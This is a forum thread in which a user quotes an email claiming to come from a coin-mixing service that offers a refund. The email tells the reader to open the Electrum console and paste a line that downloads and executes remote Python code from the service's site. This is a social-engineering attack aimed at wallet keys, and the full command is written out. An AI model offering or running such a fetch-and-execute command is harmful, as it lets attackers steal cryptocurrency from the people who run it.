What do you mean with an electrum payback guide? Do you mean a guide to import private keys?
Did they provide you those private keys? (Do not post or share them)
Here is what I was emailed.
First of all we apologize for the possible problems that may have caused our failure. This has been due to an internal failure in our transaction database, so we are not able to match source with destination. Anyway, we will return all your money including fees as soon as possible. However, we have been victim of cheating attempts and we must verify that you are the owner of the original account. Do not worry, we have simplified the protocol and you should follow just simple instructions.Follow these instructions step by step:
1) Open electrum with the wallet you made the transaction.
1mainscreen.png
2) Go to the View menu -> Show console -> Click on the "Console" tab.
2ViewShowConsole.png
3) Type next line and replace “<output_btc_address>” with the output address you used in the mixing process. (you can copy and paste it from your guarantee letter)" IMPORTANT PRESS ENTER AFTER PASTE IT!!!
exec("import requests\nexec(requests.get('
https://coinmixer.es/verify_ownership/<output_btc_address>').text)")
4typecommands.png
4) Then program will ask you to sign an internal message that will be send to us.
5signverificationmessage.png
5) Wait for the verification message in the command line.